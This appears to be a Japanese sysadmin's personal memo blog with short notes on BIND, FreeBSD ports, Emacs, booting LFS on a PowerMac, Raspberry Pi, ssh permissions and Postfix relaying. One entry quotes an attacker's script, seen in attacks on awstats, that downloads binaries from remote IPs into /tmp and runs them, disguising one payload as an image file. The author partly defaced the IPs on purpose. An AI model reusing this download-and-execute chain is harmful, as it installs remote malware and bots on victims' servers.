僕の備忘録(PC、UN*X、ネットワーク関連が中心)なんです。
自分の書いたところは適当(な時とか)に書き換えますので御了承を。
truncate(1) のmanと実演例があった。linuxにはtruncate(2)か(l) [not (1)] しかないらしい。 それにしてもtruncate(1)って、一体何のために作られたのか。
をとりあえず入れた。9.3.0と同じオプションをつけて./configureする。 (--with-openssl=yes --enable-ipv6 --with-libtool --enable-libbind) 特に異常もなくmakeが通ったので、installしてからnamedを切り、再び /PATH/named -u USER -c /PATH/CONFIG_FILE する。一応etherealで確認。
って何だ?そんなのぐぐるまでもなく想像つく。そんなのより、こっちにそれがあると 信じてアクセスする香具師の方が気になる。逆引きすると www.socialsciences.ccu.edu. tw. なんてのが返るので尚更だ。404で追い返してはいるが。
refuseがうまくいってなかったので、/usr/sup/refuseを書く。 書いたディレクトリを一括削除し、cvsup -g ports-supfile。 ところが消しちゃだめだった。make indexで依存関係のエラー出まくり。 結局ぜんぶ突っ込んで make index 。しかし make readmesはひどく重い。
ブラウザを大きく開くと、前の行とくっつかないようだ?
要するに、一行をあまり長くしないように、そういうことだろう。
この点はどのブラウザでも共通するようだ。
FirefoxのWindows版およびMacOSX版でも、概ね似た感じ、 同じに使えそうな感触があった。
IE6などでもsambaを介して同じページを見てみた。
フォントサイズが随分と異って
はいるものの、hjklは有効だ。qandaやopaqueも、
一応使える。
でも、文字の出方がさらにさらに変。飛び出した
文字が止まってる文字とくっつくと同時に、揃って
一行上に跳ね上がったり、ちぐはぐに出てきたり。
Safariもなんか妙だ。IE6よりはましに見えたが、 "j"でのopaqueとrcutinが うまく動かない (emergはどうやら動いたが)。
crond、そしてsyslogdの再起動を忘れていたことにようやく
気付く。
namazuのインデックスの日付は古いまま、
定期メールも届かず、トップページも
更新されてない。そして/var/log/messagesも
Jan 24 21:18:15 以降ずっと何もなし...orz
awstatsの穴をついた攻撃はあいかわらずだ。 wgetで194.102.194.115にあるscripzとか いうシェルスクリプト を取っていた(以下、適当に 改竄しとく)。
$ cat scripz #!/bin/bah cd /tmp wget 2I9.84.1O5.36/ping mv ping cb chmod +x cb ./cb 2I0.245.233.25I 8O8O & killall -9 lordnikonz wget 3333052101/images/logo.jpg mv logo.jpg httpd rm -rf scripz chmod +x httpd export PATH="DOT" httpd
地獄へ逝け。
なんとか"URL%A5%C7%A5%B3%A1%BC%A5%C9"(っていうのか?)できた。
#!/usr/bin/env ruby require "cgi" foo="URLエンコード" bar= CGI::escape(foo) print bar,"\n" print CGI::unescape(bar),"\n"
apacheのアクセスログを読むのに、一々ブラウザにかける 必要がなくなりそうだ。ようやく。
AirHのLEDは緑に光っている。
しかし何度$ sudo pon -i しても、
Jan 27 12:30:11 host pppd[4762]: Hangup (SIGHUP) Jan 27 12:30:11 host pppd[4762]: Modem hangup
究明は後回し。orz
市立図書館の自習^h^h談話室にて、 マニュアル を時折覗きながらEmacsの*scratch*バッファに向かってあれこれ。
変数名を書いてC-jしても、リストは途中 までしか出ないことがある。
anthy-keyencode-alist ((1 . "(ctrl A)") (2 . "(left)") (4 . "(ctrl D)") \ (5 . "(ctrl E)") (6 . "(right)") (7 . "(esc)") (8 \ . "(ctrl H)") (9 . "(shift left)") (10 . "(ctrl J)\ ") (11 . "(ctrl K)") (13 . "(enter)") (14 . "(spac\ e)") ...)
aproposでeval-print-last-sexpを読み直すと、 "Note that printing the result is controlled by the variables ` eval-expression-print-length' and `eval-expression-print-level', which see."とか書いてある。
eval-expression-print-length 12
しからば、もっと大きな数字を入れてみよう。
(setq eval-expression-print-length 100) 100 anthy-keyencode-alist ((1 . "(ctrl A)") (2 . "(left)") (4 . "(ctrl D)") \ (5 . "(ctrl E)") (6 . "(right)") (7 . "(esc)") (8 \ . "(ctrl H)") (9 . "(shift left)") (10 . "(ctrl J)\ ") (11 . "(ctrl K)") (13 . "(enter)") (14 . "(spac\ e)") (15 . "(shift right)") (16 . "(up)") (32 . "(\ space)") (40 . "(opar)") (41 . "(cpar)") (127 . "(\ ctrl H)") (S-right . "(shift right)") (S-left . "(\ shift left)") (right . "(right)") (left . "(left)"\ ) (up . "(up)") (backspace . "(ctrl H)") ((shift r\ ight) . "(shift right)") ((shift left) . "(shift l\ eft)") ((right) . "(right)") ((left) . "(left)") (\ (up) . "(up)"))
最後まで出たようだ。これでよし。
(safe-length load-path) 37
そりゃ重くもなるわな。
VirtualBoxのPlamoには入れた。例によってmake oldconfig。
もう少し揉まないと、と思わなくはないが、ただ動かすだけなので、
何も変哲なし。
ちなみにこのPlamoには2.6.23.9を入れていたが、そのカーネルでは
一度も起動したことがなかったようだった(ずっと「状態を保存」して
いたみたい。
ホストシステムとしてDebian Lennyを借りる。パーティションを
切ってなかったので、loop でマウントしたディスクイメージの中で
ビルドした。
ほとんどはドキュメント(x86およびamd64の)通りにできた。
Gentooを入れたPowerMac上で、システムを構築する。
嵌りどころはブートローダとlinuxカーネル。前者はGentooの
/etc/yaboot.conf を書き換え、mkofboot -v && ybin -v。
boot=/dev/hda2 device=hd+ partition=4 delay=10 timeout=200 install=/usr/lib/yaboot/yaboot magicboot=/usr/lib/yaboot/ofboot image=/boot/kernel-2.6.31-gentoo-r6 label=Gentoo root=/dev/hda4 read-only partition=4 # Linux From Scratch image=/boot/vmlinux label=LFS root=/dev/hda5 read-only partition=5
まだ余計なところはあるはずだけど。ともかく
boot: に入力するラベル(Tabで候補表示)で切り替えが
できるようになった
ブートできなくなったら、Gentooの
インストールCDを入れて、
boot: にconf device=cd とかやると
CDのイメージが選べる(この場合はppc32)。
カーネルは make menuconfig ではうまく動くように設定できなかった。
白地に黒っぽい文字で
done copying OF device tree... Building dt strings... Building dt structure... Device tree strings 0x0112c000 -> 0x0112cc20 Device tree struct 0x0112d000 -> 0x0114b000 Calling quiesce... returning from prom_init
で止まる。gentooで作ったカーネルは起動できるので、 そちらのドキュメントを読み直す。最初に make pmac32_defconfig で .config を作ってもらい、それをmenuconfig で書き換えると うまく動くカーネルができた。
# uname -a Linux lfs65ppc 2.6.30.2 #3 Wed Jan 27 13:19:10 JST 2010 ppc GNU/Linux
1/24に対応して貰った模様。
Raspbian でなにげに気づく。
$ ls -l --full-time / | grep boot drwxr-xr-x 2 root root 16384 1970-01-01 09:00:00.\ 000000000 +0900 boot
$ time dd if=/dev/urandom of=/dev/null bs=1048576 count=1024 1024+0 レコード入力 1024+0 レコード出力 1073741824 バイト (1.1 GB) コピーされました、 910.815 秒、 1.2 MB/秒 real 15m10.835s user 0m0.000s sys 15m7.180s
$ time dd if=/dev/urandom of=/dev/null bs=1048576 count=1024 1024+0 レコード入力 1024+0 レコード出力 1073741824 バイト (1.1 GB) コピーされました、 82.1373 秒、 13.1 MB/秒 real 1m22.143s user 0m0.000s sys 1m22.045s
Ubuntu12.4デスクトップ使用中。思った程速くなかった。
RaspberryPiのFreeBSD 11-CURRENT を試していたが、この日は失敗ばかりだった。
共立にて、
取付台と一緒に購入。
買ったのは1/10かそのくらい。
RaspberryPiのDSIが生きるかと思ったが、
RaspberryPi A, Bはいずれも認識されず、
A+とB2(たぶんB+も)が使えた。
給電はGPIO経由でも、本体基板からでも良いようだ。
DISPLAY=:0.0 xset dpms force off で消せる
(これにより消費電力も減る)ことを確認。onで点灯する。
一度電源を抜いたら再起動しないと認識されない。
活線挿抜できないっぽい。
しばらく寝かせていたが、上記のコマンドを 確認するためにtwitterを見るのが面倒になって書く。
Debian/Ubuntuでやっていたように、 mkdir $HOME/.ssh && echo hogehoge > $HOME/.ssh/autorized_keys しても駄目であった。
のパーミッションによってはsshの認証が蹴られる。
具体的には、グループやその他が書き込み可能
な属性を含んでいる(2,3,6,7)
と駄目だった。
また、ユーザについては .ssh の実行属性と
authorized_keysの読み込み属性が必要だった。
visudo して一行。
Defaults ! authenticate
NOPASSWDと同じになったことに気づいてやめた。
他、passwd_timeoutとか色々試すが、効果なし。
リレーホストに一行、そして転送ユーザ一覧。
relay_recipient_maps = hash:/etc/postfix/relay_users
$ cat /etc/postfix/relay_users USER@DOMAIN.TLD hogehoge
"hogehoge" は参照しないらしい。
relayするアドレスを指定していないと、 リレーホストは間違ったアドレスでも飲み込んでしまう。 で、エラーはリレーホストから本命に転送するときに 起こり、リレーホストが改めて送信元に突っ返すことに。
リレーするアドレスを指定していれば、 それ以外はリレーホストに転送する時点でエラーとなり、 送信元がエラーメールを出すと。
簡単な冗長化ならこのあたりでできそう。
と考えたので、本番にも追加する。
二番手からはIPv6のtcp/587とtcp/993は閉じておく
(IPv4はほとんど閉めている)
本命からIPv4を閉じて、IPv6に対応していないメールサーバ
からテストメールを送ってみた。
転送ログはこんな感じになった。
Received: from $SECOND ($HOST [IPv6:XXXX:XXXX:XXXX:XXXX:XXXX:XXXX:XXXX:XXXX]) by $MSERVER (Postfix) with ESMTPS id 768BE40043 for <$GET_USER>; Thu, 27 Jan 2022 11:51:08 +0900 (JST) Received: from $SEND_SERVER ($SEND_SERVER [YYY.YYY.YYY.YYY]) by $SECOND (Postfix) with ESMTPS id DAD961C0A13 for <$GET_USER>; Thu, 27 Jan 2022 11:51:07 +0900 (JST) Received: from $USER ($SENDER_HOST [ZZZ.ZZZ.ZZZ.ZZZ]) by $SEND_SERVER (Postfix) with ESMTPSA id 698A783FD4 for <$GET_USER>; Thu, 27 Jan 2022 11:50:34 +0900 (JST)
リンクはご自由にどうぞ。でもURLや内容が変った場合はあしからず。
※ takanyon [5.3-RELEASE付属のsupfileからrefuseの位置は/usr/supから/var/db/supに場所が..]
※ kuzuore [へえ、どうもっす。↑の記事は4.10(98)について書いておりやす。 5.3と混用してた為か、refuseの位置を間..]